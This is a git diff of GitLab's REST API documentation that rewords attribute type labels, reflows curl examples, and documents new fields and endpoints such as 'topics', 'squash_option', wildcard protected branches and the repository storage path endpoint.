-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `membership` | boolean | **{dotted-circle}** No | Limit by projects that the current user is a member of. |
| `min_access_level` | integer | **{dotted-circle}** No | Limit by current user minimal [access level](members.md#valid-access-levels). |
| `order_by` | string | **{dotted-circle}** No | Return projects ordered by `id`, `name`, `path`, `created_at`, `updated_at`, or `last_activity_at` fields. Default is `created_at`. |
@@ -1393,7 +1449,11 @@ Example responses:
"http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git",
"web_url": "http://example.com/diaspora/diaspora-project-site",
"readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora project"
+ ],
+ "topics": [
"example",
"disapora project"
],
@@ -1435,6 +1495,7 @@ Example responses:
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site",
@@ -1462,7 +1523,7 @@ POST /projects/:id/star
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/star"
@@ -1480,7 +1541,11 @@ Example response:
"http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git",
"web_url": "http://example.com/diaspora/diaspora-project-site",
"readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora project"
+ ],
+ "topics": [
"example",
"disapora project"
],
@@ -1530,6 +1595,7 @@ Example response:
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site",
@@ -1555,7 +1621,7 @@ POST /projects/:id/unstar
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unstar"
@@ -1573,7 +1639,11 @@ Example response:
"http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git",
"web_url": "http://example.com/diaspora/diaspora-project-site",
"readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora project"
+ ],
+ "topics": [
"example",
"disapora project"
],
@@ -1623,6 +1693,7 @@ Example response:
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site",
@@ -1648,7 +1719,7 @@ GET /projects/:id/starrers
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `search` | string | **{dotted-circle}** No | Search for specific users. |
```shell
@@ -1694,7 +1765,7 @@ GET /projects/:id/languages
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/languages"
@@ -1723,7 +1794,7 @@ POST /projects/:id/archive
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/archive"
@@ -1741,7 +1812,11 @@ Example response:
"http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git",
"web_url": "http://example.com/diaspora/diaspora-project-site",
"readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora project"
+ ],
+ "topics": [
"example",
"disapora project"
],
@@ -1810,6 +1885,7 @@ Example response:
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site",
@@ -1837,7 +1913,7 @@ POST /projects/:id/unarchive
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unarchive"
@@ -1855,7 +1931,11 @@ Example response:
"http_url_to_repo": "http://example.com/diaspora/diaspora-project-site.git",
"web_url": "http://example.com/diaspora/diaspora-project-site",
"readme_url": "http://example.com/diaspora/diaspora-project-site/blob/master/README.md",
- "tag_list": [
+ "tag_list": [ //deprecated, use `topics` instead
+ "example",
+ "disapora project"
+ ],
+ "topics": [
"example",
"disapora project"
],
@@ -1924,6 +2004,7 @@ Example response:
"remove_source_branch_after_merge": false,
"request_access_enabled": false,
"merge_method": "merge",
+ "squash_option": "default_on",
"autoclose_referenced_issues": true,
"suggestion_commit_message": null,
"container_registry_image_prefix": "registry.example.com/diaspora/diaspora-project-site",
@@ -1963,7 +2044,7 @@ DELETE /projects/:id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
## Restore project marked for deletion **(PREMIUM)**
@@ -1977,12 +2058,13 @@ POST /projects/:id/restore
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
## Upload a file
Uploads a file to the specified project to be used in an issue or merge request
-description, or a comment.
+description, or a comment. GitLab versions 14.0 and later
+[enforce](#max-attachment-size-enforcement) this limit.
```plaintext
POST /projects/:id/uploads
@@ -1991,7 +2073,7 @@ POST /projects/:id/uploads
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
| `file` | string | **{check-circle}** Yes | The file to be uploaded. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
To upload a file from your file system, use the `--form` argument. This causes
cURL to post data using the header `Content-Type: multipart/form-data`. The
@@ -1999,7 +2081,8 @@ cURL to post data using the header `Content-Type: multipart/form-data`. The
`@`. For example:
```shell
-curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/5/uploads"
+curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/5/uploads"
```
Returned object:
@@ -2021,7 +2104,8 @@ the format in `markdown` is used.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57250) in GitLab 13.11.
-GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/admin_area/settings/account_and_limit_settings.md#max-attachment-size) behind the `enforce_max_attachment_size_upload_api` feature flag. GitLab 14.0 will enable this by default.
+GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/admin_area/settings/account_and_limit_settings.md#max-attachment-size) behind the `enforce_max_attachment_size_upload_api` feature flag. GitLab 14.0 enables this by default.
+To disable this enforcement:
**In Omnibus installations:**
@@ -2031,10 +2115,10 @@ GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/ad
sudo gitlab-rails console
```
-1. Enable the feature flag:
+1. Disable the feature flag:
```ruby
- Feature.enable(:enforce_max_attachment_size_upload_api)
+ Feature.disable(:enforce_max_attachment_size_upload_api)
```
**In installations from source:**
@@ -2046,10 +2130,10 @@ GitLab 13.11 added enforcement of the [maximum attachment size limit](../user/ad
sudo -u git -H bundle exec rails console -e production
```
-1. Enable the feature flag to disable the validation:
+1. Disable the feature flag:
```ruby
- Feature.enable(:enforce_max_attachment_size_upload_api)
+ Feature.disable(:enforce_max_attachment_size_upload_api)
```
## Upload a project avatar
@@ -2063,7 +2147,7 @@ PUT /projects/:id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
| `avatar` | string | **{check-circle}** Yes | The file to be uploaded. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
To upload an avatar from your file system, use the `--form` argument. This causes
cURL to post data using the header `Content-Type: multipart/form-data`. The
@@ -2073,7 +2157,8 @@ preceded by `@`. For example:
Example request:
```shell
-curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form "avatar=@dk.png" "https://gitlab.example.com/api/v4/projects/5"
+curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" \
+ --form "avatar=@dk.png" "https://gitlab.example.com/api/v4/projects/5"
```
Returned object:
@@ -2097,7 +2182,7 @@ POST /projects/:id/share
| `expires_at` | string | **{dotted-circle}** No | Share expiration date in ISO 8601 format: 2016-09-26 |
| `group_access` | integer | **{check-circle}** Yes | The [access level](members.md#valid-access-levels) to grant the group. |
| `group_id` | integer | **{check-circle}** Yes | The ID of the group to share with. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
## Delete a shared project link within a group
@@ -2110,7 +2195,7 @@ DELETE /projects/:id/share/:group_id
| Attribute | Type | Required | Description |
|------------|----------------|------------------------|-------------|
| `group_id` | integer | **{check-circle}** Yes | The ID of the group. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```shell
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17"
@@ -2131,7 +2216,7 @@ GET /projects/:id/hooks
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
### Get project hook
@@ -2144,7 +2229,7 @@ GET /projects/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|---------------------------|
| `hook_id` | integer | **{check-circle}** Yes | The ID of a project hook. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```json
{
@@ -2183,7 +2268,7 @@ POST /projects/:id/hooks
| `confidential_note_events` | boolean | **{dotted-circle}** No | Trigger hook on confidential note events. |
| `deployment_events` | boolean | **{dotted-circle}** No | Trigger hook on deployment events. |
| `enable_ssl_verification` | boolean | **{dotted-circle}** No | Do SSL verification when triggering the hook. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `issues_events` | boolean | **{dotted-circle}** No | Trigger hook on issues events. |
| `job_events` | boolean | **{dotted-circle}** No | Trigger hook on job events. |
| `merge_requests_events` | boolean | **{dotted-circle}** No | Trigger hook on merge requests events. |
@@ -2211,7 +2296,7 @@ PUT /projects/:id/hooks/:hook_id
| `deployment_events` | boolean | **{dotted-circle}** No | Trigger hook on deployment events. |
| `enable_ssl_verification` | boolean | **{dotted-circle}** No | Do SSL verification when triggering the hook. |
| `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `issues_events` | boolean | **{dotted-circle}** No | Trigger hook on issues events. |
| `job_events` | boolean | **{dotted-circle}** No | Trigger hook on job events. |
| `merge_requests_events` | boolean | **{dotted-circle}** No | Trigger hook on merge requests events. |
@@ -2237,7 +2322,7 @@ DELETE /projects/:id/hooks/:hook_id
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
| `hook_id` | integer | **{check-circle}** Yes | The ID of the project hook. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
Note the JSON response differs if the hook is available or not. If the project
hook is available before it's returned in the JSON response or an empty response
@@ -2257,7 +2342,7 @@ POST /projects/:id/fork/:forked_from_id
| Attribute | Type | Required | Description |
|------------------|----------------|------------------------|-------------|
| `forked_from_id` | ID | **{check-circle}** Yes | The ID of the project that was forked from. |
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
### Delete an existing forked from relationship
@@ -2267,7 +2352,7 @@ DELETE /projects/:id/fork
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
## Search for projects by name
@@ -2297,7 +2382,7 @@ POST /projects/:id/housekeeping
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
## Push Rules **(PREMIUM)**
@@ -2312,7 +2397,7 @@ GET /projects/:id/push_rule
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
```json
{
@@ -2364,7 +2449,7 @@ POST /projects/:id/push_rule
| `commit_message_regex` | string | **{dotted-circle}** No | All commit messages must match this, for example `Fixed \d+\..*`. |
| `deny_delete_tag` | boolean | **{dotted-circle}** No | Deny deleting a tag. |
| `file_name_regex` | string | **{dotted-circle}** No | All committed filenames must **not** match this, for example `(jar|exe)$`. |
-| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding), |
| `max_file_size` | integer | **{dotted-circle}** No | Maximum file size (MB). |
| `member_check` | boolean | **{dotted-circle}** No | Restrict commits by author (email) to existing GitLab users. |
| `prevent_secrets` | boolean | **{dotted-circle}** No | GitLab rejects any files that are likely to contain secrets. |
@@ -2387,7 +2472,7 @@ PUT /projects/:id/push_rule
| `commit_message_regex` | string | **{dotted-circle}** No | All commit messages must match this, for example `Fixed \d+\..*`. |
| `deny_delete_tag` | boolean | **{dotted-circle}** No | Deny deleting a tag. |
| `file_name_regex` | string | **{dotted-circle}** No | All committed filenames must **not** match this, for example `(jar|exe)$`. |
-| `id` | integer/string | **{check-circle}** Yes | The ID of the project or NAMESPACE/PROJECT_NAME. |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `max_file_size` | integer | **{dotted-circle}** No | Maximum file size (MB). |
| `member_check` | boolean | **{dotted-circle}** No | Restrict commits by author (email) to existing GitLab users. |
| `prevent_secrets` | boolean | **{dotted-circle}** No | GitLab rejects any files that are likely to contain secrets. |
@@ -2406,7 +2491,7 @@ DELETE /projects/:id/push_rule
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
## Transfer a project to a new namespace
@@ -2418,8 +2503,8 @@ PUT /projects/:id/transfer
| Attribute | Type | Required | Description |
|-------------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
-| `namespace` | integer/string | **{check-circle}** Yes | The ID or path of the namespace to transfer to project to. |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `namespace` | integer or string | **{check-circle}** Yes | The ID or path of the namespace to transfer to project to. |
Example request:
@@ -2439,7 +2524,8 @@ Example response:
"path_with_namespace": "cute-cats/hello-world",
"created_at": "2020-10-15T16:25:22.415Z",
"default_branch": "master",
- "tag_list": [],
+ "tag_list": [], //deprecated, use `topics` instead
+ "topics": [],
"ssh_url_to_repo": "git@gitlab.example.com:cute-cats/hello-world.git",
"http_url_to_repo": "https://gitlab.example.com/cute-cats/hello-world.git",
"web_url": "https://gitlab.example.com/cute-cats/hello-world",
@@ -2521,6 +2607,7 @@ Example response:
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
+ "squash_option": "default_on",
"suggestion_commit_message": null,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
@@ -2566,7 +2653,7 @@ POST /projects/:id/mirror/pull
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/mirror/pull"
@@ -2595,5 +2682,30 @@ GET /projects/:id/snapshot
| Attribute | Type | Required | Description |
|-----------|----------------|------------------------|-------------|
-| `id` | integer/string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
| `wiki` | boolean | **{dotted-circle}** No | Whether to download the wiki, rather than project, repository. |
+
+## Get the path to repository storage
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29861) in GitLab 14.0.
+
+Get the path to repository storage for specified project. Available for administrators only.
+
+```plaintext
+GET /projects/:id/storage
+```
+
+| Attribute | Type | Required | Description |
+|--------------|----------------|------------------------|-------------|
+| `id` | integer or string | **{check-circle}** Yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding). |
+
+```json
+[
+ {
+ "project_id": 1,
+ "disk_path": "@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b",
+ "created_at": "2012-10-12T17:04:47Z",
+ "repository_storage": "default"
+ }
+]
+```
diff --git a/doc/api/protected_branches.md b/doc/api/protected_branches.md
index e5560360532..2fe821a7758 100644
--- a/doc/api/protected_branches.md
+++ b/doc/api/protected_branches.md
@@ -22,7 +22,7 @@ The access levels are defined in the `ProtectedRefAccess.allowed_access_levels`
## List protected branches
-Gets a list of protected branches from a project.
+Gets a list of protected branches from a project as they are defined [in the UI](../user/project/protected_branches.md#configure-a-protected-branch). If a wildcard is set, it is returned instead of the exact name of the branches that match that wildcard.
```plaintext
GET /projects/:id/protected_branches
@@ -59,6 +59,24 @@ Example response:
"allow_force_push":false,
"code_owner_approval_required": false
},
+ {
+ "id": 1,
+ "name": "release/*",
+ "push_access_levels": [
+ {
+ "access_level": 40,
+ "access_level_description": "Maintainers"
+ }
+ ],
+ "merge_access_levels": [
+ {
+ "access_level": 40,
+ "access_level_description": "Maintainers"
+ }
+ ],
+ "allow_force_push":false,
+ "code_owner_approval_required": false
+ },
...
]
```
@@ -183,10 +201,10 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
| --------- | ---- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the branch or wildcard |
-| `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, maintainer access level) |
-| `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, maintainer access level) |
-| `unprotect_access_level` | string | no | Access levels allowed to unprotect (defaults: `40`, maintainer access level) |
-| `allow_force_push` | boolean | no | Allow force push for all users with push access. (defaults: false) |
+| `push_access_level` | string | no | Access levels allowed to push (defaults: `40`, Maintainer role) |
+| `merge_access_level` | string | no | Access levels allowed to merge (defaults: `40`, Maintainer role) |
+| `unprotect_access_level` | string | no | Access levels allowed to unprotect (defaults: `40`, Maintainer role) |
+| `allow_force_push` | boolean | no | Allow all users with push access to force push. (default: `false`) |
| `allowed_to_push` | array | no | **(PREMIUM)** Array of access levels allowed to push, with each described by a hash |
| `allowed_to_merge` | array | no | **(PREMIUM)** Array of access levels allowed to merge, with each described by a hash |
| `allowed_to_unprotect` | array | no | **(PREMIUM)** Array of access levels allowed to unprotect, with each described by a hash |
diff --git a/doc/api/protected_environments.md b/doc/api/protected_environments.md
index 487537cd3f5..52fcdad1ad6 100644
--- a/doc/api/protected_environments.md
+++ b/doc/api/protected_environments.md
@@ -96,7 +96,10 @@ POST /projects/:id/protected_environments
```
```shell
-curl --header 'Content-Type: application/json' --request POST --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/22034114/protected_environments"
+curl --header 'Content-Type: application/json' --request POST \
+ --data '{"name": "production", "deploy_access_levels": [{"group_id": 9899826}]}' \
+ --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/22034114/protected_environments"
```
| Attribute | Type | Required | Description |
diff --git a/doc/api/protected_tags.md b/doc/api/protected_tags.md
index 63fa7183aab..e04f418258d 100644
--- a/doc/api/protected_tags.md
+++ b/doc/api/protected_tags.md
@@ -102,7 +102,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitla
| --------- | ---- | -------- | ----------- |
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the tag or wildcard |
-| `create_access_level` | string | no | Access levels allowed to create (defaults: `40`, maintainer access level) |
+| `create_access_level` | string | no | Access levels allowed to create (defaults: `40`, Maintainer role) |
Example response:
diff --git a/doc/api/releases/index.md b/doc/api/releases/index.md
index bc37f1aa0a9..0cbf613c598 100644
--- a/doc/api/releases/index.md
+++ b/doc/api/releases/index.md
@@ -542,7 +542,8 @@ PUT /projects/:id/releases/:tag_name
Example request:
```shell
-curl --header 'Content-Type: application/json' --request PUT --data '{"name": "new name", "milestones": ["v1.2"]}' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/24/releases/v0.1"
+curl --header 'Content-Type: application/json' --request PUT --data '{"name": "new name", "milestones": ["v1.2"]}' \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/24/releases/v0.1"
```
Example response:
diff --git a/doc/api/releases/links.md b/doc/api/releases/links.md
index 911aa8bbbd0..f4a2df5558f 100644
--- a/doc/api/releases/links.md
+++ b/doc/api/releases/links.md
@@ -148,7 +148,9 @@ You have to specify at least one of `name` or `url`
Example request:
```shell
-curl --request PUT --data name="new name" --data link_type="runbook" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/24/releases/v0.1/assets/links/1"
+curl --request PUT --data name="new name" --data link_type="runbook" \
+ --header "PRIVATE-TOKEN: <your_access_token>" \
+ "https://gitlab.example.com/api/v4/projects/24/releases/v0.1/assets/links/1"
```
Example response:
diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md
index c85454d66ee..5e5b44fec8a 100644
--- a/doc/api/remote_mirrors.md
+++ b/doc/api/remote_mirrors.md
@@ -71,7 +71,8 @@ POST /projects/:id/remote_mirrors
Example request:
```shell
-curl --request POST --data "url=https://username:token@example.com/gitlab/example.git" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/42/remote_mirrors"
+curl --request POST --data "url=https://username:token@example.com/gitlab/example.git" \
+ --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/42/remote_mirrors"
```
Example response:
diff --git a/doc/api/repositories.md b/doc/api/repositories.md
index 857cd3883c8..1868f33373c 100644
--- a/doc/api/repositories.md
+++ b/doc/api/repositories.md
@@ -311,6 +311,11 @@ Supported attributes:
| `file` | string | no | The file to commit the changes to, defaults to `CHANGELOG.md`. |
| `message` | string | no | The commit message to produce when committing the changes, defaults to `Add changelog for version X` where X is the value of the `version` argument. |
+WARNING:
+GitLab treats trailers case-sensitively. If you set the `trailer` field to
+`Example`, GitLab _won't_ include commits that use the trailer `example`,
+`eXaMpLE`, or anything else that isn't _exactly_ `Example`.
+
If the `from` attribute is unspecified, GitLab uses the Git tag of the last
stable version that came before the version specified in the `version`
attribute. This requires that Git tag names follow a specific format, allowing
diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md
index 70b804c368e..0dc50543f1e 100644
--- a/doc/api/repository_files.md
+++ b/doc/api/repository_files.md
@@ -183,10 +183,11 @@ POST /projects/:id/repository/files/:file_path
```
```shell
-curl --request POST --header 'PRIVATE-TOKEN: <your_access_token>' --header "Content-Type: application/json" \
- --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \
- "content": "some content", "commit_message": "create a new file"}' \
- "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb"
+curl --request POST --header 'PRIVATE-TOKEN: <your_access_token>' \
+ --header "Content-Type: application/json" \
+ --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \
+ "content": "some content", "commit_message": "create a new file"}' \
+ "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb"
```
Example response:
@@ -218,10 +219,11 @@ PUT /projects/:id/repository/files/:file_path
```
```shell
-curl --request PUT --header 'PRIVATE-TOKEN: <your_access_token>' --header "Content-Type: application/json" \
- --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \
- "content": "some content", "commit_message": "update file"}' \
- "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb"
+curl --request PUT --header 'PRIVATE-TOKEN: <your_access_token>' \
+ --header "Content-Type: application/json" \
+ --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \
+ "content": "some content", "commit_message": "update file"}' \
+ "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb"
```
Example response:
@@ -253,7 +255,7 @@ error message. Possible causes for a failed commit include:
user tried to make an empty commit;
- the branch was updated by a Git push while the file edit was in progress.
-Currently GitLab Shell has a boolean return code, preventing GitLab from specifying the error.
+GitLab Shell has a boolean return code, preventing GitLab from specifying the error.
## Delete existing file in repository
@@ -264,10 +266,11 @@ DELETE /projects/:id/repository/files/:file_path
```
```shell
-curl --request DELETE --header 'PRIVATE-TOKEN: <your_access_token>' --header "Content-Type: application/json" \
- --data '{"branch": "master", "author_email": "author@example.com", "author_name": "Firstname Lastname", \
- "commit_message": "delete file"}' \
- "https://gitlab.example.com/api/v4/projects/13083/repository/files/app%2Fproject%2Erb"
